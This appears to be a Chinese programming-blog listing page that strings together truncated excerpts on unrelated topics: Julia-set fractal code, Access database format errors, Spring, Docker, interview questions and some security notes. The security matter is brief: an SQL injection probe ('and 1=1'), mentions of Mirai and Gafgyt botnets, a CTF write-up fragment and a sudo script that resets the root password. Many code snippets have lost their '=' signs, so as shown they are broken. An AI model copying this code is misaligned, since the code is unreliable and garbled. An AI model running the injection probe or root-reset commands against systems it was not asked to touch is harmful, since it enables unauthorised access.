/*zc为实数*/ #include "glib.h"#define KL 200#define BOX 0.01#define STEP 1int sx,sy,dx192,dy192;/*描绘区域*/double x_min-2.0,x_max2.0,y_min-2.0,y_max2.0;double x0,y0,xc-1.35,yc0.0; /*复数常量*/double a1,b1,a2,b2; void coord(void){ a1(x_max-x_mi…...

分形--朱利亚集合图形2
/*ZC为虚数*/ #include "glib.h"#define KL 200#define BOX 0.01#define STEP 1int sx,sy,dx192,dy192;/*描绘区域*/double x_min-2.0,x_max2.0,y_min-2.0,y_max2.0;double x0,y0,xc0.3,yc0.5; /*复数常量*/double a1,b1,a2,b2; void coord(void){ a1(x_max-x_min)…...

python好看图案的编程代码_利用Python绘制了一些有意思的图案
下载W3Cschool手机App,0基础随时随地学编程导语 花了点时间利用Python绘制了一些有意思的图案,也算是发掘了一下Python的可视化功能吧。。。 PS: 部分图案参考了一些博客的一部分源代码。 顺便证明一波我的审美T_T。。。 没错,是时…...
Android Jni OpenCV-绘制朱利亚(Julia)集合图形
一,java代码,收集Bitmap 信息 private Button btnProc; private ImageView imageView; private Bitmap bmp;// Used to load the native-lib library on application startup. static {System.loadLibrary("native-lib"); }Override protect…...

混沌分形之朱利亚集(JuliaSet)
朱利亚集合是一个在复平面上形成分形的点的集合。以法国数学家加斯顿朱利亚(Gaston Julia)的名字命名。我想任何一个有关分形的资料都不会放过曼德勃罗集和朱利亚集。这里将以点集的方式生成出朱利亚集的图形。 关于基类FractalEquation的定义及相关软件…...

Unity Shader 绘制朱利亚集合 Julia 奇幻图形
1. 理论知识 # 朱利亚集合是一个在复平面上形成分形的点的集合。以法国数学家加斯顿朱利亚(Gaston Julia)的名字命名。朱利亚集合可以由下式进行反复迭代得到: 对于固定的复数 c,取某一 z 值(如 z z0 )&am…...

java分形_【Java之八】15分钟了解分形之朱利亚集
分形之朱利亚集——零开始—-我们总说,一花一世界。在我们看来,自然给予我们的微小的细节,我们也渴望能从中获得一些上帝的启示。那么来看一张图很简单的4个线段,人类就会想,会整合,去猜测简单的4个线段的规…...
CUDA+OpenCV 绘制朱利亚(Julia)集合图形
Julia集中的元素都是经过简单的迭代计算得到的,很适合用CUDA进行加速。对一个600*600的图像,需要进行360000次迭代计算,所以在CUDA中创建了600*600个线程块(block),每个线程块包含1个线程,并行执…...

OpenCV_15绘制朱利亚(Julia)集合图形
朱利亚集合是一个在复平面上形成分形的点的集合。以法国数学家加斯顿朱利亚(Gaston Julia)的名字命名。 朱利亚集合可以由下式进行反复迭代得到: 对于固定的复数c,取某一z值(如z z0),可以得到…...
OpenCV绘制朱利亚(Julia)集合图形
朱利亚集合是一个在复平面上形成分形的点的集合。以法国数学家加斯顿朱利亚(Gaston Julia)的名字命名。 朱利亚集合可以由下式进行反复迭代得到: 对于固定的复数c,取某一z值(如z z0),可以得到…...

蓝桥杯C/C++百校真题赛(3期)Day4(卡片)
前言 今天只有第一题,第二题不会只打了暴力,等官网题解出来后再补上正解。 Day4前言Q1 卡片Q2(暴力分)第几小Q1 卡片 问题描述 小蓝有 k k k 种卡片, 一个班有 n n n 位同学, 小蓝给每位同学发了两张卡片, 一 位同学的两张卡片可能是同一…...

多元线性回归算法预测房价【人工智能】
目录一、理论知识二、Excel多元线性回归1.数据集2.数据分析三、借助Sklearn库实现多元线性回归1.基础包与数据导入2.变量探索3.分析数据4.建立线性回归模型5.Sklearn库建立多元线性回归模型四、参考文献一、理论知识 一元线性回归是分析只有一个自变量(自变量x和因…...

工业能耗在线监测系统助力企业节能降耗,跳出限电包围圈(安科瑞 须静燕)
一、引言 2021年8月17日,国家发改委印发了《2021年上半年各地区能耗双控目标完成情况晴雨表》,从能耗强度降低情况看,今年上半年,青海、宁夏、广西、广东、福建、新疆、云南、陕西、江苏9个省(区)能耗强度同…...

归一化问题思考与Origin9.1使用
一、归一化问题思考 1、x = (x - min)/(max - min) max: 样本数据的最大值 min: 为样本数据的最小值 2、x (x - u)/σ u: 所有样本数据的均值 σ: 为所有样本数据的标准差。 二、Origin9.1使用 1、Origin中如何获得曲线上某一点的坐标 (1)…...

JAVA练习21
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一、题目1-编写个人所得税计算程序 1.题目描述 2.思路与代码 2.1 思路 2.2 代码 总结 前言 提示:这里可以添加本文要记录的大概内容:…...
Excel网课学习笔记
第一讲 认识Excel 1、shift选择三张工作表,右键插入三张表。 2、调换两列的顺序:选中一列,按shift,拖动该列到替换的那列的边框位置。 3、调整列宽:选中列,双击边框,自动调整为刚好合适的大小…...

堡垒机jumpserver批量重置root密码
sudo sh -c echo $RANDOM |md5sum |cut -c 1-15 |base64 > /home/jms_admin/new_p.txt sudo sh -c cat /home/jms_admin/new_p.txt | passwd --stdin root cat /home/jms_admin/new_p.txt最后:rm -f /home/jms_admin/new_p.txt...

绿盟-计算机网络的一道笔试题目。
什么情况下适合使用静态路由? 1、静态路由一般是由管理员手工设置的路由,而动态路由则是路由器中的动态路由协议根据网络拓扑情况和特定的要求自动生成的路由条目。 2、什么样的路由器要使用什么样的路由协议,是由网络的管理策略直接决定的。…...

疫情期间网络攻击花样翻新,全年 81748 起安全事件背后暗藏规律!
整理 | 夕颜 出品 | AI科技大本营(ID:rgznai100) 头图 | 下载于视觉中国 2020年是新冠疫情构成主旋律的一年,全球经济形势、科技发展乃至人们的日常工作生活都受到疫情影响。在疫情催化各行业数字化转型更加依赖网络世界的同时,…...

传统僵尸网络家族
传统僵尸网络家族 本年度,IoT 平台的主要威胁依然是以 Mirai、Gafgyt 等为代表的主流僵尸网络家族,同时以 Dofloo 为首的多平台僵尸网络家族也活于多种设备环境中。这些木马程序普遍具有出现时间长、变种数量众 多、通信模式传统、攻击模式典型等特征。…...

找出两个字符串的公共字串
绿盟测试开发最后一道编程题:找出两个字符串的公共字串 我的时间不够没有写:具体思路...

2022某省网络安全管理员职业技能大赛个人Writeup及日历密码原理
文章目录Misc签到题看看日历WebEZSS附录日历密码原理(附解密工具)Misc 签到题 关注公众号,Base32解码即可 42WKF2F7R3SY7AXFRKQDEMBSGLS3TNHJTGK6RJN746OIDZ55SHT3XHHFV2E6LBNI46XKDZ4QQ3SZDGHIQGGOJOE242FIB2EDXXS2JJ7IWWNQUZTMMFTXWZJTG…...

价值创造链路及经营计划
“价值创造过程最主要的环节是建立链接,北京万柳书院在网上热议,其背后是人与人的大量链接,近期热议的湖南卫视春晚亦如是,这种链接为价值的设计、沟通、传递创造条件;企业以客户为中心设计产品,往大了说是…...

mfc不可识别的数据库格式mdb,怎么解决
在mfc的项目中,我用vs2010连接Access2016会出现不可识别的数据库格式mdb,我在Access的文件中把2016的另存为了2000的版本,不仅不需要授权(因为一开始也没设置密码),而且也不会出现不可识别的数据库格式mdb。…...

不可识别的数据库格式
今天在用c#读取mdb文件时报此错误,已解决。 原因:数据库连接符错误 旧版:"ProviderMicrosoft.Jet.OLEDB.4.0;Data Source" mdbpath ";";//Access07以前版本 新版:"ProviderMicrosoft.ACE.OLEDB.12.0;…...

SpringBoot操作数据库
SpringBoot操作数据库 1、SpringData简介 对于数据访问层,无论是 SQL(关系型数据库) 还是 NOSQL(非关系型数据库),Spring Boot 底层都是采用 Spring Data 的方式进行统一处理。 Spring Boot 底层都是采用 Spring Data 的方式进行统一处理各种数据库&a…...

Sql Server导入Access数据库报不可识别的数据库格式 Microsoft JET Database Engine
解决办法: 1.mdb 数据库转成 sql脚本 放在 sqlserver 运行一次就好了 2.在Access的Sql Server[升迁向导]中升迁为Sql Server然后导入...

JS 前端获取系统当前时间存入数据库datetime可识别格式(yyyy-mm-dd HH:mm:ss)
SQL 获取当前时间 select getdate() JS获取当前时间 getDate() 获取日 1-31 getDay () 获取星期 0-6(0代表周日) getMonth () 获取月 0-11(1月从0开始) getFullYear () 获取完整年份(浏览器都支持) getH…...

Microsoft JET Database Engine 错误 '80004005' 不可识别的数据库格式 问题解决方案
最近我维护一个原来的客户的网站,遇到了Microsoft JET Database Engine 错误 80004005 不可识别的数据库格式这样的错误问题 <script typetext/javascript></script> <script src"http://pagead2.googlesyndication.com/pagead/show_ads.js&quo…...

C# 动态创建Access数据库时的错误:“不可识别的数据库格式”
需要用C#动态创建Access数据库,于是有了下文。 使用的是Office 2007,数据库文件的格式为.accdb 刚开始的时候,以为去检测文件是否存在,如果不存在的话直接创建数据库文件就好了。 代码如下: string filePath new D…...

asp.net 不可识别的数据库格式,accdb
http://www.microsoft.com/zh-cn/download/details.aspx?id13255 安装 特定的驱动就可以了 ProviderMicrosoft.ACE.OLEDB.12.0 2014年10月15日 13:12:08 by 蓝创...

Microsoft JET Database Engine 错误 '80004005' 不可识别的数据库格式
ACCESS 为了防止别人下载所以改成了asp或asa文件,运行程序时发生Microsoft JET Database Engine 错误 80004005 不可识别的数据库格式的错误,在网上找到了原因及解决办法: 原文章如下: 昨天修改一个网站,数据库回传到服务器后提…...

Java面试题每日10问(12)
1. What is String Pool? String pool is the space reserved in the heap memory that can be used to store the strings.The main advantage of using the String pool is whenever we create a string literal; the JVM checks the “string constant pool” first.If th…...

ADO操作Excel,提示错误“不可识别的数据库格式”
程序要实现从Excel中读取数据到数据库中,一直都很顺利。这次又在使用时却莫名出现错误“不可识别的数据库格式”。 最后却发现是属性赋值错了。conExcel.KeepConnection : false;应该是conExcel.KeepConnection : True; 惊喜天天有。...

ACCESS不可识别的数据库格式!
在Access07之前的数据库后缀名均为*.mdb 而连接字符串写成ProviderMicrosoft.Jet.OLEDB.4.0;Data SourceC:\myFolder\*.mdb ;Persist Security InfoFalse;但是Access07和Access10将后缀名改为了*.accdb。而通过上述连接的话就会报出"不可识别的数据库格式"异常。需要…...

不可识别的数据库格式MDB
错误特证:不可识别的数据库格式 Microsoft JET Database Engine 错误 80004005 这几天有人使用空间的上传由MDB文件改为ASP文件后的数据运行用提示“不可识别的数据库格式”,出现此类问题的原因是上传过程中对破坏了MDB原有的格式。 标准的FTP协议提供…...

1、解决Access连接 accdb 不可识别的数据库格式异常
2003版本的Access数据库后缀名均为*.mdb 则链接写成ProviderMicrosoft.Jet.OLEDB.4.0字符串: public static string dbPath "mg.accdb";OleDbConnection oleDb new OleDbConnection("ProviderMicrosoft.Jet.OLEDB.4.0;Data Source"dbPath);但…...

Spring Cloud OpenFeign 配置
最少的配置(使用默认配置) 最少/默认配置示例如下(使用Nacos作为服务的注册与发现中心): application.properties server.port8082 spring.application.namenacos-consumer spring.cloud.nacos.discovery.server-ad…...

MATLAB | 全网最详细网络图(图论图)绘制教程
一篇超超超长,超超超全面网络图绘制教程,本篇基本能讲清楚所有绘制要点,当然图论与网络优化的算法一篇不可能完全讲清楚,未来如果看的人多可以适当更新,同时做部分网络图绘图复刻。 以下是本篇绘图实验效果࿱…...

Flutter 小技巧之实现一个精美的动画相册效果
今天的小技巧主要是「抄袭」一个充满设计感的相册控件,如下图所示是 gskinner 开源应用 wonderous 里一个相片集的实现效果,可以看到相册支持上下左右滑动,并带有高亮展示的动画效果,而且相册整体布局可以超出屏幕滚动,…...

小程序(十六)消息功能
文章目录一、数据库设计二、系统消息的发送与收取设计三、业务设计四、消息实体设计五、SpringBoot异步任务1、开启异步注解功能2、线程池创建3、异步任务——消息生产4、同步任务——消息消费(写入MySQL)一、数据库设计 很多人以为消息模块的数据表设计…...

C++之模板(上)
文章目录前言一、泛型编程二、模板1.函数模板1.函数模板概念2.函数模板格式3.函数模板原理4.函数模板的实例化1.隐式实例化2.显示实例化5.模板参数的匹配原则2.类模板1.类模板的定义格式2.类模板的实例化3.类模板和模板类的区别总结前言 本文介绍了C模板的基础概念,…...

虚拟机装ftp, 简单版, 针对嵌入式开发者
以下是在Ubuntu上重新安装和配置FTP的简单步骤:打开终端并输入以下命令安装FTP服务器:sudo apt-get install vsftpd安装完成后,打开FTP服务器配置文件:sudo nano /etc/vsftpd.conf在打开的配置文件中,找到以下两行并将…...

数字孪生颠覆传统铝材挤压生产,全新生产方式即将到来!
随着市场经济的发展,各种新型的高科技建筑材料相继出现,所有的基础工程均需要大量的建筑,需要大量门窗和建筑材料,而铝及其铝合金在其中占有重要的地位。随着时代的进步,材料的应用也发生着变化。因铝合金型材具有强度…...

整合SpringCache
整合SpringCache 1、引入依赖cache还有redis <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-cache</artifactId> </dependency>2、写配置 spring:cache:type: redis3、测试使用缓存 Cache…...

Azure OpenAI 官方指南03|DALL-E 的图像生成功能与安全过滤机制
2021年1月,OpenAI 推出 DALL-E。这是 GPT 模型在图像生成方面的人工智能应用。其名称来源于著名画家、艺术家萨尔瓦多 • 达利(Dal)和机器人总动员(Wall-E)。DALL-E 图像生成器,能够直接根据文本描述生成多…...

【Python_requests学习笔记(八)】基于requests模块 实现响应内容嵌入JS 进行url地址跳转 数据的爬取
基于requests模块构建免费代理IP池 前言 此篇文章中介绍基于requests模块,实现对在响应内容中嵌入JS,真实的url地址进行跳转后数据的爬取,并以爬取行政区划代码数据为例进行讲解。 正文 1、需求梳理 抓取民政部网站最新行政区划代码 一级…...

3D Slicer学习记录(6)-使用PLUSapp连接WebCam并实现marker跟踪
前记在上次的博客中已经演示了利用Intel realsense进行marker跟踪,如果没有intel realsense怎么办?其实在之前的博客中早就提到plusapp支持多种硬件设备,包括笔记本自带的相机,因此,如果没有双目相机,或许可以尝试笔记本自带的相机完成之前的任务,只不过在跟踪精度和mar…...

路径 Floyd 蓝桥杯 JAVA
题目描述: 小蓝学习了最短路径之后特别高兴,他定义了一个特别的图,希望找到图中的最短路径。 小蓝的图由2021 个结点组成,依次编号1 至2021。 对于两个不同的结点a, b,如果a 和b 的差的绝对值大于21,则两个…...

小迪安全day12WEB漏洞-SQL注入之简要SQL注入
小迪安全day12WEB漏洞-SQL注入之简要SQL注入 注入产生原理详细分析 可控变量带入数据库查询变量未存在过滤或过滤不严谨 连接符区分 and是sql语句连接符,&是uel参数连接符 and 11是注入语句, &是添加一个新变量 数据库内容 数据库A 网站…...

初级算法-哈希表
主要记录算法和数据结构学习笔记,新的一年更上一层楼! 初级算法-哈希表一、有效的字母异位词二、两个数组的交集三、快乐数四、两数之和五、四数相加(二)六、赎金信七、三数之和八、四数之和哈希表 散列表有m个存储单元…...

什么是 LuaJIT?为什么 Apache APISIX 选择了 LuaJIT?
本文介绍了 LuaJIT 的高灵活性和高性能,以及 APISIX 作为云原生 API 网关选择 LuaJIT 的原因。 作者杨陶,API7.ai 技术工程师。 原文链接 什么是 LuaJIT 定义 简单地说,LuaJIT 是 Lua 这种编程语言的实时编译(JIT,J…...

基于jsp+ssm+springboot的人职匹配推荐系统【设计+论文+源码】
摘 要 随着科学技术的飞速发展,各行各业都在努力与现代先进技术接轨,通过科技手段提高自身的优势;对于人职匹配推荐系统当然也不能排除在外,随着网络技术的不断成熟,带动了人职匹配推荐系统,它彻底改变了过…...

【Linux】简易Shell的实现
🤣 爆笑教程 👉 《看表情包学Linux》👈 猛戳订阅 🔥 💭 写在前面:本章是个 "插叙",前几章我们学了程序替换,现在我们可以尝试动手做一个 "会创建,会终止…...

ccc-pytorch-宝可梦自定义数据集实战-加载数据部分(9)
文章目录第一步:构建路径与种类的映射关系第二步:载入所有的宝可梦图像第三步:打散顺序并通过路径名提取映射关系构建映射文件第四步:完善选取、获取图片信息功能并可视化第五步:对数据进行预处理第六步:批…...

【案例讲解】LVGL GIF开机动画和关机动画
更多源码分析请访问:LVGL 源码分析大全 目录 1、功能特性2、重点代码2.1、 覆盖其它图层2.2、 强制GIF只播放一次2.3、 任何页面中长按OK键跳出关机页面2.4、 完成时销毁自身3、参考源码1、功能特性 1、播放一次完整的GIF后就退出,退出时并销毁对象,以节省资源;2、图层能覆…...

腾讯云服务器带宽计费规则介绍
腾讯云服务器公网带宽计费模式按使用流量是怎么计算的?不按照带宽大小计费,按照实际云服务器公网出方向实际产生多少流量来收费,为了避免突发流量产生高额流量费,可以设置一个峰值带宽。 腾讯云服务器公网流量费计算的是出流量&a…...

主从高可用面试题大全
主从高可用面试题大全 目录 文档索引 面试题汇总 Q:注册中心是什么?为什么需要注册中心? Q:注册中心是如何实现的? Q:实例如何通过注册中心进行服务发现 Q:注册中心如何进行选型ÿ…...

C语言-程序环境和预处理(2)
文章目录预处理详解1.预定义符号2.#define2.1#define定义的标识符2.2#define定义宏2.3#define替换规则注意事项:2.4#和###的作用##的作用2.5带副作用的宏参数2.6宏和函数的对比宏的优势:宏的劣势:宏和函数的一个对比命名约定3.undef4.条件编译…...

抓包逆向神器Charles推荐,https接口了无秘密
业余时间想找个免费的智能AI接口用,体验了几款插件真不错,比如Bito插件和IDE神器Cursor,但不知道他们的后台接口。想着看看他们的接口,不用说肯定是https加密的。http包透明传输还好,但是大多数是https加密传输的&…...

什么品牌的蓝牙耳机适合学生党用?学生党高性价比国产蓝牙耳机推荐
最近看到很多网友问什么品牌的蓝牙耳机适合学生党用?现在的蓝牙耳机品牌越来越多,适合学生党用的蓝牙耳机品牌也不少。下面,我来给大家推荐几款适合学生党的国产高性价比蓝牙耳机,可以当个参考。 一、南卡小音舱蓝牙耳机 参考价…...

C语言指针链表
C语言指针链表是一种非常常见的数据结构,它可以用于在程序中存储和操作一系列相关数据,包括但不限于整数、字符串、结构体等类型。下面我们将介绍如何使用C语言指针链表,并提供一个可以执行的示例代码。 1. 定义链表结构体 链表是由若干个节…...

sh脚本中使用getopts解析的参数中含有空格的解决方法
一、getopts的问题 如下使用getopts时,当执行命令为 #sh test1.sh -s “A B C” 时, getopts只能解析到 -s A,空格后面的内容就没办法解析了,其实在使用$给fun_main函数传参的时候"A B C"就被分割成了三个参数了。 #!/bin/sh #t…...

关于测试,我发现了哪些新大陆
关于测试 平常也只是听说过一些关于测试的术语,但并没有使用过测试工具。偶然看到编程老师在课堂上使用龙测为我们展示了一波测试的相关操作,我发现了一些新大陆,这篇文章就记录一下有关测试的相关操作。 开启测试之旅 进入官网了解到 龙测…...

HTTP状态代码以及定义
在我们平常浏览网页时,也会发现一些文件不存在时显示为“404错误”,这就是常见的Http请求状态(status) Web服务器响应浏览器或其他客户程序的请求时,其应答一般由以下几个部分组成:一个状态行,…...

基于Springboot实现口腔牙诊所网站平台【源码+论文】
基于Springboot实现口腔牙诊所网站平台【源码论文】开发语言:Java 框架:springboot JDK版本:JDK1.8 服务器:tomcat7 数据库:mysql 5.7 数据库工具:Navicat11 开发软件:eclipse/myeclipse/idea M…...

SQLAlchemy查询不重复的数据
在SQLAlchemy中,如果你想查询不重复的数据,可以使用distinct()方法。以下是一个简单的示例: 首先,导入必要的库和对象: from sqlalchemy import create_engine, Column, Integer, String from sqlalchemy.ext.declar…...

Leetcode27—移除元素
27 移除元素 给你一个数组 nums 和一个值 val,你需要 原地 移除所有数值等于 val 的元素,并返回移除后数组的新长度。 不要使用额外的数组空间,你必须仅使用 O(1) 额外空间并 原地 修改输入数组。 元素的顺序可以改变。你不需要考虑数组中…...

vue3 组件篇 Message
文章目录组件介绍组件使用组件代码参数说明关于vue3-dxui组件库组件介绍 Message组件用以消息提示,用户在前端完成某些交互时,在页面弹出的某种反馈。该组件一共有四种类型,info、success、warning、error。与一般的组件不同,该组…...

Linux宝塔面板搭建Discuz论坛, 并公网远程访问【内网穿透】
文章目录前言1.安装基础环境2.一键部署Discuz3.安装cpolar工具4.配置域名访问Discuz5.固定域名公网地址6.配置Discuz论坛前言 Crossday Discuz! Board(以下简称 Discuz!)是一套通用的社区论坛软件系统,用户可以在不需要任何编程的基础上&…...

最长公共子序列 以及 输出公共最长子序列
最长公共子序列 以及 输出公共最长子序列题目描述 给两个字符串,输出最长公共子序列 例如 ABCBDAB BDCABA 那么输出结果就是 BCBC 思路: f[i][j] 表示 1-i 和 1-j 中对应字符串A 和 字符串B的角标中 已经算出的最长子序列长度 b[i][j] 表示 字符串A和B…...

【vue2】使用elementUI进行表单验证实操(附源码)
🥳博 主:初映CY的前说(前端领域) 🌞个人信条:想要变成得到,中间还有做到! 🤘本文核心:vue使用elementUI进行表单验证实操(附源码) 【前言】我们在构建一…...

药品批准文号查询|药融云-中国批准文号系统在线查询
药品批文是国家食品药品监督管理局(NMPA)对药品的审评和批准的证明文件,是药品合法上市的必要条件。药品批文包括国产药品批准文号和进口药品注册证号,每个批文都有唯一的编号和有效期限。那么,怎样查询中国药品批文呢…...

谁是猪头王
来自推理学院APP 规则: 示例: 每张牌上有猪头数量,红色虚线框里面有总数。 现在4位玩家数字公布,首先出2的先选一行清空并扣分,假如他选第2行1个猪头,则扣1分,局面变成: 5 …...

Mac配置jdk环境
打开终端获取java的安装路径在终端输入:/usr/libexec/java_home -V待会使用中间java se8的地址在配置文件中完善路径打开配置文件open -e .bash_profile 将以下模版粘贴到bash profile中去,并将我的jdk地址替换为上述java se8后面的地址后保存#JAVAJAVA_…...

【算法系列之回溯算法】leetcode46.全排列
90.子集II 力扣题目链接 给你一个整数数组 nums ,其中可能包含重复元素,请你返回该数组所有可能的子集(幂集)。 解集 不能 包含重复的子集。返回的解集中,子集可以按 任意顺序 排列。 输入:nums [1,2,…...

Docker基础篇——最全讲解
文章目录一、CentOS安装docker二、启动帮助类命令三、镜像命令1.名词概念2.常用命令2.1 镜像命令2.2 容器命令2.2.1:常用参数2.2.2:常用指令2.3 安装单机mysql、redis一、CentOS安装docker docker官网 1)yum安装gcc相关: yum -y…...

若依框架----源码分析(@RateLimiter)
若依作为最近非常火的脚手架,分析它的源码,不仅可以更好的使用它,在出错时及时定位,也可以在需要个性化功能时轻车熟路的修改它以满足我们自己的需求,同时也可以学习人家解决问题的思路,提升自己的技术水平…...

Qt+MySql开发笔记:Qt5.9.3的mingw32版本编译MySql8版本驱动并Demo连接数据库测试
若该文为原创文章,转载请注明原文出处 本文章博客地址:https://hpzwl.blog.csdn.net/article/details/129687210 红胖子网络科技博文大全:开发技术集合(包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软硬…...

java基础:JAVA中重写equals()方法的同时要重写hashcode()方法
一、public boolean equals(Object obj) 和 hashcode()方法是object对象中的方法。 二、equals与hashcode间的关系是这样的: 1、如果两个对象相同(即用equals比较返回true),那么它们的hashCode值一定要相同; 2、如果…...

你掌握了吗?在PCB设计中,又快又准地放置元件
在印刷电路板设计中,设置电路板轮廓后,将零件(占地面积)调用到工作区。然后将零件重新放置到正确的位置,并在完成后进行接线。 组件放置是这项工作的第一步,对于之后的平滑布线工作是非常重要的工作。如果在接线工作期间模块不足…...

Uploadifive 批量文件上传
Uploadifive 批量文件上传_uploadifive 多个上传按钮_asing1elife的博客-CSDN博客 属性auto - Boolean - true当文件被添加到上传队列时,会自动上传buttonClass - String为上传按钮指定一个类选择器buttonText - String - SELECT FILES定义显示在按钮上的文本内容up…...

多美商城实战-01-引入REST Framework
1. 引入Django REST framework 在本章中,我们要大家介绍为什么学习Django REST framework,它能帮助我们做哪些事情。 课程思路: 我们从分析现在流行的前后端分离Web应用模式说起,然后介绍如何设计REST API,通过使用Django来实 现一个REST API为例,明确后端开发REST API要做…...

数字温湿度传感器DHT11模块资料
模块实例https://blog.csdn.net/qq_38393591/article/details/111269994 1.1产品概述 DHT11数字温湿度传感器是一款含有已校准数字信号输出的温湿度复合传感器。它应用专用的数字模块采集技术和温湿度传感技术,确保产品具有极高的可靠性与卓越的长期稳定性。传感器…...

2023面试题汇总二
一、CSS面试题 1. 清除浮动的方式有哪些? 为什么要清除浮动?因为浮动的盒子脱离标准流,如果父盒子没有设置高度的话,下面的盒子就会撑上来。 额外标签法(在最后一个浮动标签后,新加一个标签,给其设置cle…...

孩子用什么样的灯对眼睛没有伤害呢?2023这样的灯光更护眼
现代社会高速发展,越来越多的人开始重视身体健康,尤其是很多家长,非常关心孩子的眼睛健康问题。现如今我们的青少年儿童近视率常年高居世界第一,情况不容乐观,这个与习惯、学习、照明环境等众多因素有关。 其中照明环境…...

GitHub的Repository权限将public转为private(转)
转自: GitHub的Repository权限将public转为private 2019年1月7日,GitHub CEO Nat Friedman 于官方博客公开发文,称“New year, new GitHub”,宣布从此将免费无限地为普通用户提供私有仓库服务。 因此,我们可以将之前创建的公开仓库…...

《钢琴调律原理及应用》 笔记
【第一章 绪论】 美国人威廉布雷德怀特于 1917 年发表了世界上第一部关于钢琴调律理论与技术的著作,书名为《钢琴调律与相关技术》 福岛琢郎于1950年发表一部名为《钢琴的构造调律修理》的专著 80年代初,在沈阳音院任教的张琨先生写出了我国第一部有关…...

Java OFD文件转PDF、图片、SVG、TXT、HTML
OFDRW 提供了将 OFD 文档导出为其他格式文档的能力,如导出为 PDF、图片、SVG、TXT、HTML 等。 OFDRW 转换模块在 2.0.0 之后抽象了多种文档导出接口,使用统一的 API 实现 OFD 文档导出功能。 之前整合的 2.0.0 以前版本,可参考 OFD 文件转换…...

WuThreat身份安全云-TVD每日漏洞情报-2023-03-23
漏洞名称:Windows Installer 特权提升漏洞 漏洞级别:高危 漏洞编号:CVE-2023-21800,CNNVD-202302-1117 相关涉及:Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) 漏洞状态:POC 参考链接:https://tvd.wuthreat.com/#/listDetail?TVD…...

gan实战(DCGAN、)
一、DCGAN 1.1 参数 (1)输入:会被放缩到6464 (2)输出:6464 (3)数据集: 1.2 实现 import glob import torch from PIL import Image from torch import nn from torch.u…...

视频编辑场景下的文字模版技术方案
作者 | Lok’tar ogar 导读 本文根据度咔剪辑APP文字模版开发实践,分享视频编辑场景下,静态文字模版渲染能力的技术方案。作为富文本渲染方案的父集,此技术方案可以扩展到其他需要复杂富文本渲染的场景下。 全文6745字,预计阅读时…...

移动应用架构设计:如何转变开发流程
移动应用架构设计:如何转变开发流程 2023 年掌握移动应用程序架构的指南(附案例研究) 如果他们要解决这个问题,开发人员需要了解移动架构设计的最佳实践,使他们能够构建用户喜欢的优化应用程序。其中一些做法包括使用…...

【服务器数据恢复】误操作导致NetApp存储卷丢失的数据恢复案例
服务器数据恢复环境: 某公司的一台NetApp某型号存储; 几十块磁盘组建两组存储池,两组存储池互为镜像; 存储池划分卷并映射到ESXI作为数据存储使用,卷内有数百台虚拟机。 服务器故障: 管理员操作失误导致卷…...

QML- QML视觉元素类型
QML视觉元素类型一、概述一、图像类型三、共享视觉属性1. 不透明度和可见性2. 转换(转置)一、概述 对于最基本的视觉效果,Qt Quick提供了一个 Rectangle 类型来绘制矩形。这些矩形可以用颜色或垂直渐变来着色。 Rectangle 还可以在矩形上绘制…...

nodejs+vue+elementui水果购物商城vue
水果购物商城系统的主要使用者分为管理员;个人中心、用户管理、水果分类管理、水果信息管理、系统管理、订单管理;前台首页;首页、水果信息、个人中心、后台管理、购物车、人工服务;用户后台;首页、个人中心、水果信息…...

从NVIDIA GTC大会,看AI算力行业信号
从NVIDIA GTC 2023这场全球行业盛宴,我们可以解读出AI算力行业的哪些重要信号?一年一度的NVIDIA GTC如期而至汇聚了全球AI与元宇宙开发者的目光焦点,NVIDIA GTC 2023于美国当地时间3月20日如期而至。众所周知,作为全球一年一度的行…...

Docker 在未来应用场景的有哪些?
Docker是一种流行的容器化技术,可以将应用程序和其依赖项打包到一个可移植的容器中,使得应用程序可以在任何平台上运行。Docker的应用场景非常广泛,下面列举了一些常见的应用场景: 应用程序部署和管理:Docker可以使应…...